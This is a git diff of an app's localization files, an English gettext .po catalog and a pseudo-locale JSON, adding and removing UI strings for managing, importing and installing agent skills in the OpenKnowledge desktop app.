msgid "Tell us what went wrong and we'll gather the logs. Nothing leaves your Mac until you've reviewed it."
msgstr "Tell us what went wrong and we'll gather the logs. Nothing leaves your Mac until you've reviewed it."
+#: src/components/NewSkillDialog.tsx
+msgid "Tells agents when to reach for this skill. You can edit it later."
+msgstr "Tells agents when to reach for this skill. You can edit it later."
+
#: src/components/TemplateDeleteDialog.tsx
msgid "Template \"{label}\" deleted"
msgstr "Template \"{label}\" deleted"
@@ -9635,6 +10401,7 @@ msgstr "Terminal settings not yet loaded — try again in a moment"
msgid "Test connection"
msgstr "Test connection"
+#: src/components/ExploreSkills.tsx
#: src/components/settings/SearchSection.tsx
msgid "Testing"
msgstr "Testing"
@@ -9682,6 +10449,14 @@ msgstr "That folder isn't an OpenKnowledge project yet. Initialize it and open?"
msgid "The {0} download request timed out."
msgstr "The {0} download request timed out."
+#: src/components/SkillForkDialog.tsx
+msgid "The {editor} folder holds a different version of this skill. Pick which one wins, or keep both under different names. Whatever you replace is backed up first."
+msgstr "The {editor} folder holds a different version of this skill. Pick which one wins, or keep both under different names. Whatever you replace is backed up first."
+
+#: src/components/SkillForkDialog.tsx
+msgid "The {editor} version is now the source"
+msgstr "The {editor} version is now the source"
+
#: src/components/ShareBranchSwitchDialog.tsx
msgid "The {targetNoun} could not be opened — try navigating to it manually."
msgstr "The {targetNoun} could not be opened — try navigating to it manually."
@@ -9714,6 +10489,10 @@ msgstr "The Claude Desktop App didn't open the file. Is it installed? ({msg})"
msgid "The default branch is protected — pushes need a pull request."
msgstr "The default branch is protected — pushes need a pull request."
+#: src/components/SkillProperties.tsx
+msgid "the default skills folder (the exact path appears once saved)"
+msgstr "the default skills folder (the exact path appears once saved)"
+
#: src/components/InstallInClaudeDesktopDialog.tsx
msgid "The desktop app isn't responding. Refresh and try again."
msgstr "The desktop app isn't responding. Refresh and try again."
@@ -9739,7 +10518,6 @@ msgstr "The file is in your Trash; the file-watcher will reconcile."
msgid "The file on disk, and the id agents use."
msgstr "The file on disk, and the id agents use."
-#: src/components/NewSkillDialog.tsx
#: src/components/SkillProperties.tsx
msgid "The folder on disk and the id agents use to invoke this skill."
msgstr "The folder on disk and the id agents use to invoke this skill."
@@ -9810,6 +10588,18 @@ msgstr "The repository was moved, renamed, or deleted."
msgid "The schema file does not exist or failed to load — adding a field creates it."
msgstr "The schema file does not exist or failed to load — adding a field creates it."
+#: src/components/SkillInstallMenu.tsx
+msgid "The skill's own folder — the source other locations copy or link from"
+msgstr "The skill's own folder — the source other locations copy or link from"
+
+#: src/components/SkillInstallMenu.tsx
+msgid "The skill's own folder ({path}) — the source other locations copy or link from"
+msgstr "The skill's own folder ({path}) — the source other locations copy or link from"
+
+#: src/components/SkillInstallMenu.tsx
+msgid "The source folder itself does not move."
+msgstr "The source folder itself does not move."
+
#: src/components/TemplateProperties.tsx
msgid "The template's filename (without `.md`)."
msgstr "The template's filename (without `.md`)."
@@ -9990,6 +10780,18 @@ msgstr "This folder is empty."
msgid "This folder isn't on GitHub yet. The link won't work until it's pushed."
msgstr "This folder isn't on GitHub yet. The link won't work until it's pushed."
+#: src/components/SkillPreviewTab.tsx
+msgid "This is a preview of {boldName} — a built-in skill shipped with Open Knowledge. It's read-only."
+msgstr "This is a preview of {boldName} — a built-in skill shipped with Open Knowledge. It's read-only."
+
+#: src/components/SkillPreviewTab.tsx
+msgid "This is a preview of {boldName}, detected in {boldHarness} at the {boldLevel} level."
+msgstr "This is a preview of {boldName}, detected in {boldHarness} at the {boldLevel} level."
+
+#: src/components/SkillPreviewTab.tsx
+msgid "This is a preview of {boldName}. Install it into your agents."
+msgstr "This is a preview of {boldName}. Install it into your agents."
+
#: src/components/DeleteConfirmationDialog.tsx
msgid "this item"
msgstr "this item"
@@ -10002,6 +10804,13 @@ msgstr "This looks like a drive root (e.g., C:\\). Scaffolding here will scan an
msgid "This may take a moment. Your markdown content is kept."
msgstr "This may take a moment. Your markdown content is kept."
+#. placeholder {0}: scopeLabels[scope]
+#. placeholder {1}: scopeLabels[toScope]
+#. placeholder {2}: scopeLabels[toScope]
+#: src/components/SkillScopeMoveDialog.tsx
+msgid "This moves <0>{name}</0> from {0} to {1}, relocating its files on disk and re-installing it in your editors at the {2} level."
+msgstr "This moves <0>{name}</0> from {0} to {1}, relocating its files on disk and re-installing it in your editors at the {2} level."
+
#: src/components/SeedDialog.tsx
msgid "This pack is already set up here."
msgstr "This pack is already set up here."
@@ -10027,6 +10836,11 @@ msgstr "This permanently deletes {deleteTarget} from the project and removes its
msgid "This permanently removes {0}. Agents that invoke this skill by name will fail until it's recreated."
msgstr "This permanently removes {0}. Agents that invoke this skill by name will fail until it's recreated."
+#. placeholder {0}: skill.path
+#: src/components/SkillDeleteDialog.tsx
+msgid "This permanently removes {0}. The plugin it was copied from is untouched — its read-only version will show up as detected again."
+msgstr "This permanently removes {0}. The plugin it was copied from is untouched — its read-only version will show up as detected again."
+
#: src/components/TemplateDeleteDialog.tsx
msgid "This permanently removes {path}. Agents that reference this template by name will fail until it's recreated or replaced by one in a parent folder."
msgstr "This permanently removes {path}. Agents that reference this template by name will fail until it's recreated or replaced by one in a parent folder."
@@ -10077,16 +10891,14 @@ msgstr "This project's server (v{0}) is newer than this app (v{1})."
msgid "This removes OpenKnowledge’s settings and integrations from your Mac and any projects you select below, but keeps your markdown content and authored skills."
msgstr "This removes OpenKnowledge’s settings and integrations from your Mac and any projects you select below, but keeps your markdown content and authored skills."
-#. placeholder {0}: skill.bundledVersion ?? ''
-#. placeholder {1}: skill.installedVersion
-#: src/components/SkillUpdateDialog.tsx
-msgid "This replaces the current skill content with the bundled version {0} (you have {1}). Any local edits will be replaced — your current version is saved to history first, so you can restore it."
-msgstr "This replaces the current skill content with the bundled version {0} (you have {1}). Any local edits will be replaced — your current version is saved to history first, so you can restore it."
+#. placeholder {0}: caps.join(', ')
+#: src/components/SkillPluginBundleBanner.tsx
+msgid "This repo bundles {count} skills, plus {0}. Install any of them from the plugin."
+msgstr "This repo bundles {count} skills, plus {0}. Install any of them from the plugin."
-#. placeholder {0}: skill.bundledVersion ?? ''
-#: src/components/SkillUpdateDialog.tsx
-msgid "This replaces the current skill content with the bundled version {0}. Any local edits will be replaced — your current version is saved to history first, so you can restore it."
-msgstr "This replaces the current skill content with the bundled version {0}. Any local edits will be replaced — your current version is saved to history first, so you can restore it."
+#: src/components/SkillPluginBundleBanner.tsx
+msgid "This repo bundles {count} skills. Install any of them from the plugin."
+msgstr "This repo bundles {count} skills. Install any of them from the plugin."
#: src/components/acp/ThreadView.tsx
msgid "This request is no longer active."
@@ -10113,6 +10925,14 @@ msgstr "This setting is per-machine and isn't shared with collaborators."
msgid "This setting is per-machine and isn't shared with collaborators. It needs an API key (set below) unless your endpoint is a local server that doesn't require one."
msgstr "This setting is per-machine and isn't shared with collaborators. It needs an API key (set below) unless your endpoint is a local server that doesn't require one."
+#: src/components/ImportSkillForm.tsx
+msgid "This source bundles several skills — choose one, then Import."
+msgstr "This source bundles several skills — choose one, then Import."
+
+#: src/components/ImportSkillForm.tsx
+msgid "This source bundles several skills — choose the one to import."
+msgstr "This source bundles several skills — choose the one to import."
+
#: src/components/TemplateDeleteDialog.tsx
msgid "This template lives in a parent folder — deleting it affects every folder beneath it that doesn't define its own version."
msgstr "This template lives in a parent folder — deleting it affects every folder beneath it that doesn't define its own version."
@@ -10243,6 +11063,10 @@ msgstr "Too slow"
msgid "Top linked pages"
msgstr "Top linked pages"
+#: src/components/SkillOriginInline.tsx
+msgid "Tracked in git — updates flow through your repo (pull or CI), not auto-update"
+msgstr "Tracked in git — updates flow through your repo (pull or CI), not auto-update"
+
#: src/lib/keyboard-shortcuts.ts
msgid "Traverse OpenKnowledge navigation history backward."
msgstr "Traverse OpenKnowledge navigation history backward."
@@ -10268,6 +11092,15 @@ msgstr "Try a prompt"
msgid "Try again"
msgstr "Try again"
+#. placeholder {0}: scope === 'global' ? `~/${o.root}` : o.root
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "Turn {0} back into a real directory holding a per-skill symlink for each skill it currently sees — nothing stops working, and each skill's menu manages it from there."
+msgstr "Turn {0} back into a real directory holding a per-skill symlink for each skill it currently sees — nothing stops working, and each skill's menu manages it from there."
+
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "Turn {display} back into a real directory holding a per-skill symlink for each skill it currently sees — nothing stops working, and each skill's menu manages it from there."
+msgstr "Turn {display} back into a real directory holding a per-skill symlink for each skill it currently sees — nothing stops working, and each skill's menu manages it from there."
+
#: src/components/NotInSidebarIndicator.tsx
msgid "Turn off Only markdown files"
msgstr "Turn off Only markdown files"
@@ -10293,6 +11126,11 @@ msgstr "Turn on semantic search?"
msgid "Turn the things you read into clear, trusted articles. Save a source, figure out what it means, then keep the final version so you can rely on it later."
msgstr "Turn the things you read into clear, trusted articles. Save a source, figure out what it means, then keep the final version so you can rely on it later."
+#. placeholder {0}: skill.name
+#: src/components/SkillForkDialog.tsx
+msgid "Two versions of \"{0}\" — source vs {editor}"
+msgstr "Two versions of \"{0}\" — source vs {editor}"
+
#: src/editor/components/Pdf.tsx
msgid "Two-page (even)"
msgstr "Two-page (even)"
@@ -10372,14 +11210,6 @@ msgstr "Undo to this edit?"
msgid "Undo, redo, or step through selection changes in the Edit source pane or a code-shaped property field."
msgstr "Undo, redo, or step through selection changes in the Edit source pane or a code-shaped property field."
-#: src/components/skill-actions.tsx
-msgid "Uninstall"
-msgstr "Uninstall"
-
-#: src/components/SkillEditorActions.tsx
-msgid "Uninstall everywhere"
-msgstr "Uninstall everywhere"
-
#: src/uninstall/UninstallPickerScreen.tsx
msgid "Uninstall OpenKnowledge"
msgstr "Uninstall OpenKnowledge"
@@ -10416,6 +11246,10 @@ msgstr "Unknown date"
msgid "Unknown error"
msgstr "Unknown error"
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "unlink"
+msgstr "unlink"
+
#: src/editor/slash-command/items.tsx
msgid "Unordered list of items."
msgstr "Unordered list of items."
@@ -10440,27 +11274,22 @@ msgstr "Unrecognized wiki link"
msgid "Up to date"
msgstr "Up to date"
-#: src/components/SkillUpdateDialog.tsx
+#: src/components/SkillOriginInline.tsx
msgid "Update"
msgstr "Update"
-#. placeholder {0}: skillDisplayName(skill.name)
-#: src/components/SkillUpdateDialog.tsx
-msgid "Update \"{0}\"?"
-msgstr "Update \"{0}\"?"
-
-#: src/components/SkillsSidebarSection.tsx
-msgid "Update available"
-msgstr "Update available"
+#: src/components/SkillUpdateConflictDialog.tsx
+msgid "Update \"{skillName}\" over your edits?"
+msgstr "Update \"{skillName}\" over your edits?"
-#. placeholder {0}: skill.bundledVersion ? ` (${skill.bundledVersion})` : ''
-#: src/components/SkillsSidebarSection.tsx
-msgid "Update available{0}"
-msgstr "Update available{0}"
+#. placeholder {0}: result.error
+#: src/hooks/use-skill-origin.ts
+msgid "Update failed: {0}"
+msgstr "Update failed: {0}"
-#: src/components/skill-actions.tsx
-msgid "Update skill"
-msgstr "Update skill"
+#: src/components/SkillOriginInline.tsx
+msgid "Update from source"
+msgstr "Update from source"
#: src/editor/extensions/InternalLinkPropPanel.tsx
msgid "Update the destination and optional section anchor."
@@ -10473,15 +11302,10 @@ msgstr "Update the destination and optional section anchor."
msgid "Updated \"{0}\": added {1}, removed {2}"
msgstr "Updated \"{0}\": added {1}, removed {2}"
-#. placeholder {0}: result.version
-#: src/components/SkillUpdateDialog.tsx
-msgid "Updated \"{display}\" to {0} — your previous version is in history if you need to restore it."
-msgstr "Updated \"{display}\" to {0} — your previous version is in history if you need to restore it."
-
-#. placeholder {0}: result.version
-#: src/components/SkillUpdateDialog.tsx
-msgid "Updated \"{display}\" to {0}."
-msgstr "Updated \"{display}\" to {0}."
+#. placeholder {0}: result.source
+#: src/hooks/use-skill-origin.ts
+msgid "Updated \"{name}\" from {0}"
+msgstr "Updated \"{name}\" from {0}"
#: src/components/SyncStatusBadge.tsx
msgid "Updated {lastSyncedRelative}"
@@ -10499,15 +11323,29 @@ msgstr "Updated to Version {version}"
msgid "Updates flow in"
msgstr "Updates flow in"
-#: src/components/SkillUpdateDialog.tsx
+#: src/components/SkillOriginInline.tsx
+msgid "Updates from the source apply automatically (unless edited locally)"
+msgstr "Updates from the source apply automatically (unless edited locally)"
+
+#: src/components/SkillOriginInline.tsx
+#: src/components/SkillUpdateConflictDialog.tsx
#: src/components/SyncStatusBadge.tsx
msgid "Updating"
msgstr "Updating"
+#: src/components/ImportSkillDialog.tsx
+#: src/components/ImportSkillForm.tsx
+msgid "Upload"
+msgstr "Upload"
+
#: src/components/PageHeaderWidgets.tsx
msgid "Upload {keyName}"
msgstr "Upload {keyName}"
+#: src/components/SkillsBasePage.tsx
+msgid "Upload a skill"
+msgstr "Upload a skill"
+
#: src/editor/image-upload/index.ts
msgid "Upload failed"
msgstr "Upload failed"
@@ -10516,6 +11354,11 @@ msgstr "Upload failed"
msgid "Upload failed — please try again"
msgstr "Upload failed — please try again"
+#. placeholder {0}: result.error
+#: src/components/ImportSkillForm.tsx
+msgid "Upload failed: {0}"
+msgstr "Upload failed: {0}"
+
#: src/editor/components/PropPanel.tsx
msgid "Upload failed: {message}"
msgstr "Upload failed: {message}"
@@ -10528,6 +11371,22 @@ msgstr "Upload from computer"
msgid "Upload may have succeeded but the sidebar is out of date — refresh to resync"
msgstr "Upload may have succeeded but the sidebar is out of date — refresh to resync"
+#: src/components/SkillsSidebarSection.tsx
+msgid "Upload skill"
+msgstr "Upload skill"
+
+#. placeholder {0}: result.name
+#: src/lib/skill-import-toast.ts
+msgid "Uploaded \"{0}\"."
+msgstr "Uploaded \"{0}\"."
+
+#. placeholder {0}: result.name
+#. placeholder {1}: result.collisionRenamedFrom
+#: src/lib/skill-import-toast.ts
+msgid "Uploaded as \"{0}\" — the name \"{1}\" was taken."
+msgstr "Uploaded as \"{0}\" — the name \"{1}\" was taken."
+
+#: src/components/ImportSkillForm.tsx
#: src/editor/components/PropPanel.tsx
msgid "Uploading"
msgstr "Uploading"
@@ -10552,6 +11411,10 @@ msgstr "Uploading securely"
msgid "Upstream sync"
msgstr "Upstream sync"
+#: src/components/SkillForkDialog.tsx
+msgid "Use {editor} version"
+msgstr "Use {editor} version"
+
#: src/components/ShareButton.tsx
msgid "Use <0>{copyShortcut}</0> to copy the link below, or open OK in the desktop app."
msgstr "Use <0>{copyShortcut}</0> to copy the link below, or open OK in the desktop app."
@@ -10560,6 +11423,11 @@ msgstr "Use <0>{copyShortcut}</0> to copy the link below, or open OK in the desk
msgid "Use a folder you already have."
msgstr "Use a folder you already have."
+#: src/components/SkillFileCreateDialog.tsx
+#: src/components/SkillFileRenameDialog.tsx
+msgid "Use a relative path inside the skill (no .., no spaces; SKILL.md is managed)."
+msgstr "Use a relative path inside the skill (no .., no spaces; SKILL.md is managed)."
+
#: src/components/EmptyEditorState.tsx
msgid "Use a starter pack"
msgstr "Use a starter pack"
@@ -10586,8 +11454,8 @@ msgid "Use lowercase letters, digits, and <0>-</0> only."
msgstr "Use lowercase letters, digits, and <0>-</0> only."
#: src/components/NewSkillDialog.tsx
-msgid "Use lowercase letters, digits, and hyphens only."
-msgstr "Use lowercase letters, digits, and hyphens only."
+msgid "Use lowercase letters, numbers, and hyphens only"
+msgstr "Use lowercase letters, numbers, and hyphens only"
#: src/components/settings/ScopeBadge.tsx
#: src/components/settings/SettingsDialogShell.tsx
@@ -10627,11 +11495,19 @@ msgstr "Values for {keyName}"
msgid "via {viaTags}"
msgstr "via {viaTags}"
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "via parent"
+msgstr "via parent"
+
#: src/components/AppMenubar.tsx
#: src/components/CommandPalette.tsx
msgid "View"
msgstr "View"
+#: src/components/SkillDirectoryCard.tsx
+msgid "View {name}"
+msgstr "View {name}"
+
#: src/components/AssetPreview.tsx
msgid "View as text"
msgstr "View as text"
@@ -10648,6 +11524,10 @@ msgstr "View in source"
msgid "View in source markdown"
msgstr "View in source markdown"
+#: src/components/SkillPluginBundleBanner.tsx
+msgid "View plugin"
+msgstr "View plugin"
+
#: src/components/PublishToGitHubDialog.tsx
msgid "Visibility"
msgstr "Visibility"
@@ -10721,10 +11601,6 @@ msgstr "We'll create a repository and start syncing — no terminal needed."
msgid "We've filed it with the team and attached your logs."
msgstr "We've filed it with the team and attached your logs."
-#: src/components/NewSkillDialog.tsx
-msgid "What agents match on to decide when to use the skill."
-msgstr "What agents match on to decide when to use the skill."
-
#: src/components/ConfigSharingInfoTooltip.tsx
msgid "What config sharing covers"
msgstr "What config sharing covers"
@@ -10741,10 +11617,18 @@ msgstr "What got in the way?"
msgid "What happened?"
msgstr "What happened?"
+#: src/components/ImportSkillForm.tsx
+msgid "What happens next"
+msgstr "What happens next"
+
#: src/components/EmptyEditorState.tsx
msgid "What is a starter pack?"
msgstr "What is a starter pack?"
+#: src/components/SkillInstallMenu.tsx
+msgid "What is the difference between copies and symlinks?"
+msgstr "What is the difference between copies and symlinks?"
+
#: src/components/PublishToGitHubDialog.tsx
msgid "What is this knowledge base for?"
msgstr "What is this knowledge base for?"
@@ -10806,6 +11690,10 @@ msgstr "Where newly added attachments are placed."
msgid "Where should it live?"
msgstr "Where should it live?"
+#: src/components/ImportSkillForm.tsx
+msgid "Which skill"
+msgstr "Which skill"
+
#: src/components/settings/markdownlint-rule-browser.tsx
msgid "Whitespace"
msgstr "Whitespace"
@@ -10954,6 +11842,10 @@ msgstr "You don't have permission to push to this repo. Follow can still keep yo
msgid "You don't have write access to this repo."
msgstr "You don't have write access to this repo."
+#: src/components/SkillUpdateConflictDialog.tsx
+msgid "You edited this skill locally and the source has new changes. Taking upstream replaces your version; your edits stay recoverable in version history."
+msgstr "You edited this skill locally and the source has new changes. Taking upstream replaces your version; your edits stay recoverable in version history."
+
#: src/components/DiffViewBoundary.tsx
msgid "You modified <0>{filePath}</0> locally, but it was deleted upstream."
msgstr "You modified <0>{filePath}</0> locally, but it was deleted upstream."
@@ -11065,6 +11957,14 @@ msgstr "Your search queries and the full text of matching pages are sent to your
msgid "Your share link is ready below."
msgstr "Your share link is ready below."
+#: src/components/settings/SkillsManagerSection.tsx
+msgid "Your user-level skill folders — available in every project on this machine. Each skill's install menu controls where it lives."
+msgstr "Your user-level skill folders — available in every project on this machine. Each skill's install menu controls where it lives."
+
+#: src/components/ImportSkillForm.tsx
+msgid "Zip file"
+msgstr "Zip file"
+
#: src/editor/components/Mermaid.tsx
#: src/editor/components/Pdf.tsx
msgid "Zoom in"
diff --git a/packages/app/src/locales/pseudo/messages.json b/packages/app/src/locales/pseudo/messages.json
index 5186075fa..32815df10 100644
--- a/packages/app/src/locales/pseudo/messages.json
+++ b/packages/app/src/locales/pseudo/messages.json
@@ -27,6 +27,7 @@
],
"-g6KIS": ["Ũńŕēćōĝńĩźēď ĺĩńķ"],
"-imiMK": ["Ƒōĺĺōŵ — ũƥďàţēś ƒĺōŵ ĩń ƒŕōḿ ŷōũŕ ŕēḿōţē; ŷōũŕ ēďĩţś śţàŷ ōń ţĥĩś ćōḿƥũţēŕ."],
+ "-kKdCC": ["Ĩńśţàĺĺēď ", ["imported"], " śķĩĺĺś ƒŕōḿ ", ["0"]],
"-kbIAr": ["Ĺĩńķś & ĩḿàĝēś"],
"-lCAuQ": ["Ĺōàďĩńĝ ĝŕàƥĥ"],
"-o5XAG": [
@@ -35,9 +36,10 @@
"-q4abP": [
"Ŕēśũĺţś ćàƥƥēď — ţĥĩś ŵōŕķśƥàćē ĥàś ḿōŕē ƒĩĺēś ţĥàń śēàŕćĥ ćàń ĩńďēx. À ḿĩśśĩńĝ ƒĩĺē ḿàŷ ƀē à ćàƥ àŕţĩƒàćţ, ńōţ à ţŷƥō."
],
- "-r_Kx7": ["Ćŕēàţē śķĩĺĺ"],
"-slrNR": ["Ţōĝĝĺē à ţàśķ ĺĩśţ."],
"-uaQnI": ["Ńō ḿàţćĥĩńĝ ŵōŕķţŕēēś ōŕ ƀŕàńćĥēś."],
+ "-yPBXI": ["Ćĥōōśē ƒĩĺē"],
+ "-ySLQJ": ["Ĝĩţ & ƤŔś"],
"-zA2E7": ["Ćōũĺďń'ţ ćŕēàţē ţĥē ŵōŕķţŕēē. Ţŕŷ à ďĩƒƒēŕēńţ ńàḿē."],
"-zy2Nq": ["Ţŷƥē"],
"0-31GV": ["Ŕēḿōvĩńĝ"],
@@ -57,7 +59,9 @@
"0E9DR6": ["Ţŷƥē ţō ƒĩńď à ďōć"],
"0Er6-M": ["Ŕēśţàŕţĩńĝ"],
"0Gd0NU": ["Śĥàŕēď"],
- "0LBDjY": ["\"", ["0"], "\" ũńĩńśţàĺĺēď — ƀàćķ ţō à ďŕàƒţ"],
+ "0J6nhG": [
+ "À ćōƥŷ ĩś à ŕēàĺ ƒōĺďēŕ ōƒ ĩţś ōŵń, àńď ŌĶ ķēēƥś ĩţ ĩń śţēƥ ŵĩţĥ ţĥē śōũŕćē: ēďĩţ ţĥē śķĩĺĺ ĥēŕē àńď ēvēŕŷ ćōƥŷ ĩś ŕēƒŕēśĥēď. Ţĥàţ śţōƥś ţĥē ḿōḿēńţ ŷōũ ĥàńď-ēďĩţ à ćōƥŷ ōũţśĩďē ŌĶ — ƒŕōḿ ţĥēń ōń ĩţ ĝōēś ĩţś ōŵń ŵàŷ àńď śĥōŵś ũƥ àś à śēƥàŕàţē śķĩĺĺ. À śŷḿĺĩńķ ĩś à ƥōĩńţēŕ ţō ţĥē śōũŕćē ĩńśţēàď, śō ńōţĥĩńĝ ćàń ďŕĩƒţ, ƀũţ à ĺōćàţĩōń śţōƥś ŵōŕķĩńĝ ĩƒ ţĥē śōũŕćē ĩś ďēĺēţēď."
+ ],
"0NA4b3": ["Ķēēƥ ḿŷ vēŕśĩōń"],
"0NkNB5": [["0"], "ḿō àĝō"],
"0QVrvp": ["Ḿàxĩḿũḿ àĝēńţś àĺŕēàďŷ ŕũńńĩńĝ"],
@@ -72,6 +76,20 @@
") ĩń ",
["targetLabel"]
],
+ "0dslv8": [
+ ["0"],
+ " ŕēàďś ţĥĩś śķĩĺĺ vĩà ",
+ ["poolRootRel"],
+ ". Ćĺĩćķ ţō śţōƥ ",
+ ["1"],
+ " ĝēţţĩńĝ \"",
+ ["2"],
+ "\" — ",
+ ["subRoot"],
+ " ķēēƥś ĩţś ōţĥēŕ śķĩĺĺś ƀũţ śţōƥś ƒōĺĺōŵĩńĝ ",
+ ["poolRootRel"],
+ "."
+ ],
"0eHrMb": ["Ćōũĺď ńōţ ćōḿƥĺēţē ďēĺēţē"],
"0g7rCZ": ["Ďũƥĺĩćàţēď ţō \"", ["0"], "\""],
"0inVGS": [
@@ -92,6 +110,7 @@
"0yL--g": ["Ŕēvĩēŵ ćōńƒĺĩćţś"],
"0zAhu6": ["ēvēŕŷ ďōć"],
"10g8I_": ["Ţũŕń ōƒƒ Ōńĺŷ ḿàŕķďōŵń ƒĩĺēś"],
+ "11ukmX": ["Ŕēńàḿē ƒàĩĺēď: ", ["0"]],
"12F9WL": ["(ńō ĩď)"],
"151wvk": ["Śĥōŵ śĩďēƀàŕ"],
"161NCV": ["Śţōƥƥĩńĝ"],
@@ -105,15 +124,17 @@
"1FLarN": ["Ďēśćŕĩƀē ŵĥàţ ŷōũ ŵàńţ ţō ćŕēàţē ţō ćōńţĩńũē"],
"1GhYxC": ["ōƒ ", ["totalPages"]],
"1HBhDS": ["Ćĥēćķĩńĝ ōũţ ƒĩĺēś"],
+ "1LtA5r": ["Śŷḿĺĩńķś ţĥē śķĩĺĺ ţō ", ["path"]],
"1OKzC_": ["Ŷōũŕ ŕēƥōŕţ ćōũĺďń'ţ ƀē śēńţ. Ţŕŷ àĝàĩń ōŕ ēḿàĩĺ ĩţ ĩńśţēàď."],
"1QfxQT": ["Ďĩśḿĩśś"],
"1RluQD": ["Śĥōŵ ŕēƥĺàćē"],
"1TNIig": ["Ōƥēń"],
"1Ta7Fd": ["Ōƥēń ", ["basename"]],
+ "1V17kO": ["Ĺōàďĩńĝ ƀōţĥ vēŕśĩōńś"],
+ "1VpfKR": ["Ćŕēàţē à śķĩĺĺ ƒōŕ ţĥĩś ƥŕōĴēćţ."],
"1XSMhZ": [
"Śŵĩţćĥĩńĝ ţō <0>ĺōćàĺ-ōńĺŷ</0> ŵĩĺĺ ŕēƒũśē ũńţĩĺ ţĥēŷ'ŕē ũńţŕàćķēď vĩà<1> ĝĩţ ŕḿ --ćàćĥēď</1>."
],
- "1YJ4Yg": ["Ũƥďàţē àvàĩĺàƀĺē", ["0"]],
"1ZpfyB": ["Ōƥēń ŵĩţĥ ÀĨ ", ["displayName"], ", ", ["hint"]],
"1a6ICf": ["Ƒōĺĺōŵĩńĝ ţĥē àĝēńţ'ś ēďĩţś"],
"1bDVu5": ["Ŵōŕķśƥàćē Ćōḿḿàńď Ƥàĺēţţē"],
@@ -122,6 +143,7 @@
"1hvhf0": ["Ţĥē ƒōĺďēŕ ōń ďĩśķ àńď ţĥē ĩď àĝēńţś ũśē ţō ĩńvōķē ţĥĩś śķĩĺĺ."],
"1njn7W": ["Ĺĩĝĥţ"],
"1nke1r": ["Ōƥēń ", ["0"], " ōń ĜĩţĤũƀ (ōƥēńś ĩń à ńēŵ ţàƀ)"],
+ "1oSHI0": ["Ćōũĺďń'ţ ĩńśţàĺĺ ", ["skillName"], ": ", ["0"]],
"1t_NnN": ["ŔēĴēćţ"],
"1u-mAI": ["Ćōũĺďń'ţ śţàŕţ ţĥē śŷńć. Ćĥēćķ ŷōũŕ ćōńńēćţĩōń, ţĥēń ŕēţŕŷ."],
"2-CeZn": [
@@ -150,6 +172,7 @@
"2GT3Hf": ["Ĝĺōƀàĺ"],
"2H43L8": ["Śēćŕēţś ĺĩķē ÀƤĨ ķēŷś àńď ţōķēńś àŕē ŕēďàćţēď àũţōḿàţĩćàĺĺŷ."],
"2IYGkU": ["Ţĥĩś ďōć ĥàś ũńƥũśĥēď ćĥàńĝēś. Ŕēćĩƥĩēńţś ŵĩĺĺ śēē ţĥē ĺàśţ ƥũśĥēď vēŕśĩōń."],
+ "2M0JF6": ["Àũţō-ũƥďàţē"],
"2QM24L": ["Àĺĺ ţàĝś"],
"2RBzMG": ["Ńēţŵōŕķ ēŕŕōŕ — ćĥēćķ ŷōũŕ ćōńńēćţĩōń àńď ţŕŷ àĝàĩń"],
"2Snes1": ["Ţĥĩś śēńďś ţĥē ĺĩńķ'ś àďďŕēśś ōƒƒ ŷōũŕ ḿàćĥĩńē"],
@@ -157,7 +180,6 @@
"2XQ8Ww": ["Ōƥēń ƥŕēvĩēŵ ŵĥēń àĝēńţ ēďĩţś"],
"2YOwme": ["Ŕēśţàŕţēď — ńōŵ ŕũńńĩńĝ v", ["appRuntime"], "."],
"2YZwPB": ["Ƒōŕŵàŕď-ĺĩńķś ŕēśƥōńśē ďĩď ńōţ ḿàţćĥ ēxƥēćţēď śĥàƥē."],
- "2bVHbB": ["Àvàĩĺàƀĺē ĩń ēvēŕŷ ƥŕōĴēćţ ōń ţĥĩś ćōḿƥũţēŕ."],
"2hYmUH": ["ḿŷ@ēḿàĩĺ.ćōḿ"],
"2hpdRq": ["Ĥĩďē ƥàńēĺ (", ["panelShortcutLabel"], ")"],
"2j1kfc": ["Ēńţēŕ à vàĺĩď ŨŔĹ (ƒōŕ ēxàḿƥĺē ĥţţƥś://àƥĩ.ōƥēńàĩ.ćōḿ/v1)."],
@@ -196,7 +218,6 @@
"3HAPpl": ["Ńō śćĥēḿàś ḿàţćĥ ŷōũŕ śēàŕćĥ."],
"3HNlwb": ["Ĥēĺĺō, ŵōŕĺď!"],
"3Ib6FN": ["Ḿōvē ďōŵń"],
- "3Ijjy1": ["Ćōũĺďń'ţ ĺōàď ţĥĩś śķĩĺĺ'ś ƒĩĺēś."],
"3J7d2N": ["ßĩĝ śēćţĩōń ĥēàďĩńĝ."],
"3JYy1p": ["ßŕàńćĥ ", ["0"], " ńō ĺōńĝēŕ ēxĩśţś. Ćĺōńēď ţō ďēƒàũĺţ ƀŕàńćĥ."],
"3LbBJn": ["Àţţàćĥ ĩḿàĝēś"],
@@ -221,6 +242,7 @@
"3h5zMp": ["Śōḿēţĥĩńĝ ŵēńţ ŵŕōńĝ ĺōàďĩńĝ ţĥē śēţţĩńĝś ƥàńēĺ."],
"3iyGWF": ["Ōƥēń ŕēćēńţ ƥŕōĴēćţ"],
"3jod3l": ["Ćōńńēćţ ĜĩţĤũƀ"],
+ "3l32hp": ["Ƥàŕţ ōƒ ţĥē ", ["plugin"], " ƥĺũĝĩń"],
"3l_cXP": ["Ţàķē à ĺōōķ ĩƒ ŷōũ'ď ĺĩķē. Ţĥĩś ēxàćţ ƒĩĺē ĩś ŵĥàţ ŵē ŕēćēĩvē."],
"3m2GBo": ["Śēàŕćĥĩńĝ ďōćś"],
"3mFsc3": ["Ŕēśţōŕē ŵĩţĥ ŕēḿōţē ćĥàńĝēś"],
@@ -228,21 +250,16 @@
"3oEK1e": ["Ŕēśũḿĩńĝ ţĥē ćōńvēŕśàţĩōń"],
"3oh0nQ": ["Ńēśţēď .ōķĩĝńōŕē ēŕŕōŕ ĩń ", ["path"]],
"3pU8e-": ["Ƥĩń ţàƀ"],
+ "3v62tp": ["Ƥōƥũĺàŕ ōń śķĩĺĺś.śĥ"],
"3wiBAs": ["Ŵĥēŕē śĥōũĺď ĩţ ĺĩvē?"],
"3y6XTb": ["Śēḿàńţĩć śēàŕćĥ"],
"3zyg_A": ["Ĩĝńōŕē ƥàţţēŕńś"],
"438Fca": ["Ćĺōńēď śũććēśśƒũĺĺŷ, ƀũţ ćōũĺď ńōţ ōƥēń ţĥē ƥŕōĴēćţ."],
+ "43qzxu": ["ĎēvŌƥś"],
"44DSl0": [
